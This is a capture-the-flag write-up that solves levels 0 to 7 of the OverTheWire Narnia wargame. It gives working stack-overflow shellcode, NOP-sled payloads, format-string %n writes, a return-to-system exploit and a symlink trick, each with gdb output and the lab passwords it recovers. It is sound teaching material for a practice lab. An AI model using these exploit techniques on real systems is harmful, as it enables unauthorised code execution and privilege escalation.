[OTW] Write-up for the Narnia Wargame
The Narnia wargame is an online game offered by the OverTheWire community. This wargame is for the ones that want to learn basic exploitation. You can see the most common bugs in this game. You’ll get the source code of each level to make it easier for you to spot the vuln and abuse it.
The challenges can be found in the /narnia/ folder and the passwords for each level can be found in /etc/narnia_pass/narniaX.
Narnia 00 Solution
SSH : ssh narnia0@narnia.labs.overthewire.org -p 2226
Pass : narnia0
First, let’s try to execute the program…
narnia0@narnia:~$ cd /narnia/
narnia0@narnia:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: TEST
buf: TEST
val: 0x41414141
WAY OFF!!!!
Source Code
Now, let’s take a look at the source code.
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
To solve this challenge, we need to change the val value initialized with 0x41414141
to 0xdeadbeef
.
Here, the issue come from the scanf() function. It allows the user to enter 24 chars however, the buf variable is only 20 bytes so, we can overwrite 4 bytes.
Let’s try to write 24 bytes as input and check if the address changes.
narnia0@narnia:/narnia$ python -c 'print 20 * "A" + "BBBB"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAABBBB
val: 0x42424242
WAY OFF!!!!
It seems that we were able to modify the original value of val with 0x42424242
. We will do the same thing with the right value or 0xdeadbeef
narnia0@narnia:/narnia$ (python -c 'print 20*"A" + "\xef\xbe\xad\xde"'; cat;) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
efeidiedae
Easy, right ?
Narnia 01 Solution
SSH : ssh narnia1@narnia.labs.overthewire.org -p 2226
Pass : efeidiedae
First, let’s try to execute the program…
narnia1@narnia:~$ cd /narnia/
narnia1@narnia:/narnia$ ./narnia1
Give me something to execute at the env-variable EGG
Hum… It seems that we need to initialize an environment variable named EGG.
Source Code
Let’s clarify that with the source code.
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
Here, the code will execute anything we put in the EGG environment variable, we only need to find a shellcode and set the EGG variable. I used a random shellcode from the Exploit Database.
; https://www.exploit-db.com/exploits/44594
section .text
global _start
_start:
xor ecx, ecx
mul ecx
push ecx
mov edi, 0x978CD0D0
mov esi, 0x91969DD0
not edi
not esi
push edi
push esi
mov ebx, esp
mov al, 0xb
int 0x80
Here is the shellcode :
\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80
Now, let’s export it as an environment variable an re-execute the program.
narnia1@narnia:/narnia$ export EGG=`python -c 'print "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80"'`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
nairiepecu
Done !
Narnia 02 Solution
SSH : ssh narnia2@narnia.labs.overthewire.org -p 2226
Pass : nairiepecu
First, let’s try to execute the program…
narnia2@narnia:~$ cd /narnia/
narnia2@narnia:/narnia$ ./narnia2
Usage: ./narnia2 argument
narnia2@narnia:/narnia$ ./narnia2 ABCD
ABCDnarnia2@narnia:/narnia$
So, this program just return the string we enter to the standard output.
Source Code
Let’s check the source :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
It looks like a standard buffer overflow challenge. There is no size check in the strcpy() function and the buf variable is only 128 bytes long. So, if we enter more chars than the size of the buffer, we should be able to break the execution flow by overwriting the return address.
Let’s do a quick check…
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print 140 * "A"')
Segmentation fault
Segfault ! Now, we’ll run the program in GDB to analyse this issue.
$ gdb narnia2
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x0804844b <+0>: push ebp
0x0804844c <+1>: mov ebp,esp
0x0804844e <+3>: add esp,0xffffff80
0x08048451 <+6>: cmp DWORD PTR [ebp+0x8],0x1
0x08048455 <+10>: jne 0x8048471 <main+38>
0x08048457 <+12>: mov eax,DWORD PTR [ebp+0xc]
0x0804845a <+15>: mov eax,DWORD PTR [eax]
0x0804845c <+17>: push eax
0x0804845d <+18>: push 0x8048520
0x08048462 <+23>: call 0x8048300 <printf@plt>
0x08048467 <+28>: add esp,0x8
0x0804846a <+31>: push 0x1
0x0804846c <+33>: call 0x8048320 <exit@plt>
0x08048471 <+38>: mov eax,DWORD PTR [ebp+0xc]
0x08048474 <+41>: add eax,0x4
0x08048477 <+44>: mov eax,DWORD PTR [eax]
0x08048479 <+46>: push eax
0x0804847a <+47>: lea eax,[ebp-0x80]
0x0804847d <+50>: push eax
0x0804847e <+51>: call 0x8048310 <strcpy@plt>
0x08048483 <+56>: add esp,0x8
0x08048486 <+59>: lea eax,[ebp-0x80]
0x08048489 <+62>: push eax
0x0804848a <+63>: push 0x8048534
0x0804848f <+68>: call 0x8048300 <printf@plt>
0x08048494 <+73>: add esp,0x8
0x08048497 <+76>: mov eax,0x0
0x0804849c <+81>: leave
0x0804849d <+82>: ret
End of assembler dump.
(gdb) run $(python -c 'print 140 * "A"')
Starting program: /narnia/narnia2 $(python -c 'print 140 * "A"')
Breakpoint 1, 0x0804848f in main ()
(gdb) conti
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Now, we adjust our string size to precisely overwrite the return address.
(gdb) run $(python -c 'print 132 * "A" + "BBBB"')
Starting program: /narnia/narnia2 $(python -c 'print 132 * "A" + "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
As you can see, we need 132 bytes of garbage and 4 more bytes to overwrite the retrun address. Now, we need a shellcode and a return address that will read our shellcode. I choose another shellcode from ExploitDB :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
To find the return address I placed a breakpoint right after the strcpy() call :
(gdb) set disassembly-flavor intel
(gdb) break *main+68
Breakpoint 1 at 0x804848f
(gdb) run $(python -c 'print 104 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "BBBB"')
Starting program: /narnia/narnia2 $(python -c 'print 104 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "BBBB"')
Breakpoint 1, 0x0804848f in main ()
(gdb) x/100x $esp+500
0xffffd784: 0x000036b2 0x0000000e 0x000036b2 0x00000017
0xffffd794: 0x00000001 0x00000019 0xffffd7cb 0x0000001a
0xffffd7a4: 0x00000000 0x0000001f 0xffffdfe8 0x0000000f
0xffffd7b4: 0xffffd7db 0x00000000 0x00000000 0x00000000
0xffffd7c4: 0x00000000 0xa9000000 0x55fe0723 0x4a68d3c6
0xffffd7d4: 0xcc5d0b96 0x698947e8 0x00363836 0x00000000
0xffffd7e4: 0x00000000 0x00000000 0x616e2f00 0x61696e72
0xffffd7f4: 0x72616e2f 0x3261696e 0x90909000 0x90909090
0xffffd804: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd814: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd824: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd834: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd844: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd854: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd864: 0x50c03190 0x732f2f68 0x622f6868 0xe3896e69
0xffffd874: 0xc289c189 0x80cd0bb0 0xcd40c031 0x42424280
0xffffd884: 0x434c0042 0x4c4c415f 0x5f6e653d 0x552e5355
0xffffd894: 0x382d4654 0x5f534c00 0x4f4c4f43 0x723d5352
0xffffd8a4: 0x3a303d73 0x303d6964 0x34333b31 0x3d6e6c3a
0xffffd8b4: 0x333b3130 0x686d3a36 0x3a30303d 0x343d6970
0xffffd8c4: 0x33333b30 0x3d6f733a 0x333b3130 0x6f643a35
0xffffd8d4: 0x3b31303d 0x623a3533 0x30343d64 0x3b33333b
0xffffd8e4: 0x633a3130 0x30343d64 0x3b33333b 0x6f3a3130
0xffffd8f4: 0x30343d72 0x3b31333b 0x6d3a3130 0x30303d69
0xffffd904: 0x3d75733a 0x343b3733 0x67733a31 0x3b30333d
Here, I choose 0xffffd824
as it is in the middle of the NOP-sled. Let’s try again with the return address :
(gdb) run $(python -c 'print 104 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x24\xd8\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print 104 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x24\xd8\xff\xff"')
Breakpoint 1, 0x0804848f in main ()
(gdb) continue
Continuing.
process 21195 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.
$
We got a shell, but we need to run it outside GDB’s context.
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print 104 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x24\xd8\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
vaequeezee
Yay, we did it !
Narnia 03 Solution
SSH : ssh narnia3@narnia.labs.overthewire.org -p 2226
Pass : vaequeezee
First, let’s try to execute the program…
$ ssh narnia3@narnia.labs.overthewire.org -p 2226
narnia3@narnia:~$ cd /narnia/
narnia3@narnia:/narnia$ ./narnia3
usage, ./narnia3 file, will send contents of file 2 /dev/null
So, I guess we need to enter a file as argument…
Source Code
Here is the source :
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
So, the source looks complex but it’s not. In fact there is no boundary check on the input file. So, if we overflow ifile, we could overwrite the ofile which is statically intialized with /dev/null.
Let’s check the value of ofile with GDB, to do that we need to place a breakpoint here :
0x0804855f <+84>: add esp,0x8
0x08048562 <+87>: push 0x2
0x08048564 <+89>: lea eax,[ebp-0x18]
0x08048567 <+92>: push eax
0x08048568 <+93>: call 0x80483c0 <open@plt> ; Right Here
As ofile pointer will be place in EAX we can see its value :
$ gdb narnia3
(gdb) break *main+93
Breakpoint 1 at 0x8048568
(gdb) run test
Starting program: /narnia/narnia3 test
Breakpoint 1, 0x08048568 in main ()
(gdb) x/s $eax
0xffffd690: "/dev/null"
Okay, now we restart the program with 32 bytes of garbage and add a new path…
(gdb) run /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/whatever
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia3 /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/whatever
Breakpoint 1, 0x08048568 in main ()
(gdb) x/s $eax
0xffffd660: "/whatever"
Awesome! Now, we can write where we want. As /tmp/ is read/write/exec we can create something like /tmp/FOOBARFOOBARFOOBARFOOBARFOO/tmp and create a symbolic link of /etc/narnia_pass/narnia4 to /tmp/FOOBARFOOBARFOOBARFOOBARFOO/tmp/ax file so the program can write the password into our file.
Here are the steps :
narnia3@narnia:/narnia$ mkdir -p /tmp/FOOBARFOOBARFOOBARFOOBARFOO/tmp
narnia3@narnia:/narnia$ ln -s /etc/narnia_pass/narnia4 /tmp/FOOBARFOOBARFOOBARFOOBARFOO/tmp/ax
narnia3@narnia:/narnia$ touch /tmp/ax
narnia3@narnia:/narnia$ chmod 777 /tmp/ax
narnia3@narnia:/narnia$ ./narnia3 /tmp/FOOBARFOOBARFOOBARFOOBARFOO/tmp/ax
copied contents of /tmp/FOOBARFOOBARFOOBARFOOBARFOO/tmp/ax to a safer place... (/tmp/ax)
narnia3@narnia:/narnia$ cat /tmp/ax
thaenohtai
It was a fun one :)
Narnia 04 Solution
SSH : ssh narnia4@narnia.labs.overthewire.org -p 2226
Pass : thaenohtai
First, let’s try to execute the program…
$ ssh narnia4@narnia.labs.overthewire.org -p 2226
narnia4@narnia:~$ cd /narnia/
narnia4@narnia:/narnia$ ./narnia4
Nothing… weird.
Source Code
Let’s check the source.
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
This one is similar to the level 2 however, we don’t have any output or result from the program. Here, the buffer variable is 256 bytes long and again, no boundary check. Let’s find where we overflow the return address…
$ gdb narnia4
(gdb) set disassembly-flavor intel
(gdb) run $(python -c 'print 264 * "A" + 4 * "B"')
Starting program: /narnia/narnia4 $(python -c 'print 264 * "A" + 4 * "B"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
So, 256 bytes of garbage and 4 more bytes to overwrite the return address. To exploit this one I used the following shellcode :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
Let’s find a return address. Here, I placed a return address right after the strcpy() call :
(gdb) break *main+121
Breakpoint 1 at 0x8048524
(gdb) run $(python -c 'print 236 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + 4 * "B"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia4 $(python -c 'print 236 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + 4 * "B"')
Breakpoint 1, 0x08048524 in main ()
(gdb) x/100x $esp+600
0xffffd6e4: 0x00000000 0x00000009 0x080483b0 0x0000000b
0xffffd6f4: 0x000036b4 0x0000000c 0x000036b4 0x0000000d
0xffffd704: 0x000036b4 0x0000000e 0x000036b4 0x00000017
0xffffd714: 0x00000001 0x00000019 0xffffd74b 0x0000001a
0xffffd724: 0x00000000 0x0000001f 0xffffdfe8 0x0000000f
0xffffd734: 0xffffd75b 0x00000000 0x00000000 0x00000000
0xffffd744: 0x00000000 0xb9000000 0x47bfa236 0xde88977b
0xffffd754: 0x969dbe24 0x69e65cf5 0x00363836 0x00000000
0xffffd764: 0x00000000 0x616e2f00 0x61696e72 0x72616e2f
0xffffd774: 0x3461696e 0x90909000 0x90909090 0x90909090
0xffffd784: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd794: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd7a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd7b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd7c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd7d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd7e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd7f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd804: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd814: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd824: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd834: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd844: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd854: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd864: 0x50c03190 0x732f2f68 0x622f6868 0xe3896e69
We’ll use 0xffffd7b4
as it is in the middle of the NOP sled.
(gdb) run $(python -c 'print 236 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\xb4\xd7\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia4 $(python -c 'print 236 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\xb4\xd7\xff\xff"')
Breakpoint 1, 0x08048524 in main ()
(gdb) conti
Continuing.
process 22763 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.
$
Looks like it worked. Let’s do the same outside GDB.
narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print 236 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\xb4\xd7\xff\xff"')
$ whoami
narnia5
$ cat /etc/narnia_pass/narnia5
faimahchiy
Success !
Narnia 05 Solution
SSH : ssh narnia5@narnia.labs.overthewire.org -p 2226
Pass : faimahchiy
First, let’s try to execute the program…
$ ssh narnia5@narnia.labs.overthewire.org -p 2226
narnia5@narnia:~$ cd /narnia/
narnia5@narnia:/narnia$ ./narnia5
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [] (0)
i = 1 (0xffffd6d0)
So, we need to modify the i variable with the value 500. We also know the address of i which is equal to 0xffffd6d0
.
Source Code
Here is the source code.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
The issue here is the snprintf() function, as you can see there are no format specifiers. It means that we have a potential format string vulnerability here. Let’s try to enter some format specifiers in our input :
./narnia5 %x.%x.%x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [f7fc5000.30303035.3330332e] (26)
i = 1 (0xffffd6d0)
Ok, it’s definitly a format string vulnerability. With this kind of issue, we can write where we want in memory as long as we know where. Luckily, the program gives us the address of i.
Now, to write something on the stack we’ll use the %n specifier. Basically, %n write the size of our input at the address pointed by %n. For example, the following input : AAAA%n, means that we will write the value 4 (because the size of “AAAA” equals 4 bytes) at the address pointed by %n. But, where on the stack %n points to ?
Well, let’s say we want to write 4 at AAAA (0x41414141
), we need to find the position of AAAA on the stack. To do that we’ll just enter the address followed by some %x specifiers :
narnia5@narnia:/narnia$ ./narnia5 AAAA%08x.%08x.%08x.%08x.%08x.%08x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA41414141.31343134.31343134.3331332e.33313334.31332e34] (57)
i = 1 (0xffffd6b0)
In this case, the address is in the first position on the stack so, the exploit would look like this :
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "AAAA" + "%1$n"')
Segmentation fault
Obviously, it segfault as we try to write the value 4 at a random address. Note the %1$n
, the 1 specify the position of our address on the stack. If it was on the 3rd postion we would have used %3$n
.
However we don’t want to write 4, we want to write 500. To do that we will use %<size>$x
, it will serve as padding. Instead of writting our address followed by 496 chars, we’ll use %496$x.
Let’s try :
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xc0\xd6\xff\xff" + "%496x%1$n"')
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
neezocaeng
Format strings are more complex than standard buffer overflow. If you are interested, you can read my post about this kind of vulnerability.
Narnia 06 Solution
SSH : ssh narnia6@narnia.labs.overthewire.org -p 2226
Pass : neezocaeng
First, let’s try to execute the program…
$ ssh narnia6@narnia.labs.overthewire.org -p 2226
narnia6@narnia:~$ cd /narnia/
narnia6@narnia:/narnia$ ./narnia6
./narnia6 b1 b2
narnia6@narnia:/narnia$ ./narnia6 123 456
123
It seems that the program takes 2 arguments and print the first one. Let’s check the source code to understand how it works.
Source Code
Here is the source :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
}
If we skim-through the code, our arguments are respectively copied into b1 and b2. Also the fp variable is pointing to the puts() function, that’s why fp(b1)
prints our first arguments.
If we run GDB and place a breakpoint at fp(b1)
and analyse the stack, we should be able to see where are our variables in memory.
$ gdb narnia6
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080485a8 <+0>: push ebp
0x080485a9 <+1>: mov ebp,esp
0x080485ab <+3>: push ebx
0x080485ac <+4>: sub esp,0x18
0x080485af <+7>: mov DWORD PTR [ebp-0xc],0x8048430
...[removed]...
0x080486d1 <+297>: call 0x8048410 <geteuid@plt>
0x080486d6 <+302>: push ebx
0x080486d7 <+303>: push eax
0x080486d8 <+304>: call 0x8048450 <setreuid@plt>
0x080486dd <+309>: add esp,0x8
0x080486e0 <+312>: lea eax,[ebp-0x14]
0x080486e3 <+315>: push eax
0x080486e4 <+316>: mov eax,DWORD PTR [ebp-0xc]
0x080486e7 <+319>: call eax ; Break here
0x080486e9 <+321>: add esp,0x4
0x080486ec <+324>: push 0x1
0x080486ee <+326>: call 0x8048440 <exit@plt>
End of assembler dump.
(gdb) break *main+319
Breakpoint 1 at 0x80486e7
(gdb) run AAAA BBBB
Starting program: /narnia/narnia6 AAAA BBBB
Breakpoint 1, 0x080486e7 in main ()
(gdb) x/16wx $esp
0xffffd678: 0xffffd684 0x42424242 0xf7fc5300 0x41414141
0xffffd688: 0x08048700 0x08048430 0x00000003 0x00000000
0xffffd698: 0x00000000 0xf7e2a286 0x00000003 0xffffd734
0xffffd6a8: 0xffffd744 0x00000000 0x00000000 0x00000000
(gdb)
(gdb) x/x $eax
0x8048430 <puts@plt>: 0x99c825ff
Here, we can see our arguments AAAA (0x41414141
) and BBBB (0x42424242
). Also, we can see the pointer to the puts() function contained in EAX (0x8048430
). The address of puts() is higher on the stack so, we should be able to overwrite it. Let’s try…
(gdb) run AAAAAAAACCCC BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia6 AAAAAAAACCCC BBBB
Breakpoint 1, 0x080486e7 in main ()
(gdb) x/16wx $esp
0xffffd678: 0xffffd684 0x42424242 0xf7fc5300 0x41414141
0xffffd688: 0x41414141 0x43434343 0x00000000 0x00000000
0xffffd698: 0x00000000 0xf7e2a286 0x00000003 0xffffd734
0xffffd6a8: 0xffffd744 0x00000000 0x00000000 0x00000000
(gdb) x/x $eax
0x43434343: Cannot access memory at address 0x43434343
Looks very good ! Now, the idea would be to overwrite the return address with the address of system() and call a shell.
(gdb) p system
$2 = {<text variable, no debug info>} 0xf7e4c850 <system>
(gdb) run $(python -c 'print "sh;" + 5 * "A" + "\x50\xc8\xe4\xf7" + " BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia6 $(python -c 'print "sh;" + 5 * "A" + "\x50\xc8\xe4\xf7" + " BBBB"')
Breakpoint 1, 0x080486e7 in main ()
(gdb) x/16wx $esp
0xffffd678: 0xffffd684 0x42424242 0xf7fc5300 0x413b6873
0xffffd688: 0x41414141 0xf7e4c850 0x00000000 0x00000000
0xffffd698: 0x00000000 0xf7e2a286 0x00000003 0xffffd734
0xffffd6a8: 0xffffd744 0x00000000 0x00000000 0x00000000
(gdb) continue
Continuing.
$
We got a shell ! Now, let’s do the same outside GDB.
narnia6@narnia:/narnia$ ./narnia6 $(python -c 'print "sh;" + 5 * "A" + "\x50\xc8\xe4\xf7" + " BBBB"')
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
ahkiaziphu
Done !
Narnia 07 Solution
SSH : ssh narnia7@narnia.labs.overthewire.org -p 2226
Pass : ahkiaziphu
First, let’s try to execute the program…
$ ssh narnia7@narnia.labs.overthewire.org -p 2226
cd /narnia/
narnia7@narnia:/narnia$ ./narnia7
Usage: ./narnia7 <buffer>
narnia7@narnia:/narnia$ ./narnia7 test
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd648)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
Looks like we need to redirect the execution flow somehow…
Source Code
Let’s check the source.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
setreuid(geteuid(),geteuid());
system("/bin/sh");
return 0;
}
When we execute the program, we land ont the goodfunction() but the program want us to execute the hackedfunction(). If we take a close look, we can see there is a format string vulnerability in the snprintf() function.
$ ./narnia7 ABCD
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd638)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
So, according to the program, we need to modify prtf with the address of hackedfunction() (0x8048724
). To do that we need to write 0x8048724
at 0xffffd638
(prtf()). Since we don’t really know where our input is placed on the stack, we’ll just brutforce the position. Note that the value we’ll write will be 134514464 (134514468 (or 0x8048724) - 4 = 134514464
)
narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "\x38\xd6\xff\xff" + "%134514464d%1$n"')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd638)
I guess you want to come to the hackedfunction...
Segmentation fault
# Nope...
narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "\x38\xd6\xff\xff" + "%134514464d%2$n"')
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd638)
I guess you want to come to the hackedfunction...
Way to go!!!!$
$ whoami
narnia8
$ cat /etc/narnia_pass/narnia8
mohthuphog
On the second try !
Narnia 08 Solution
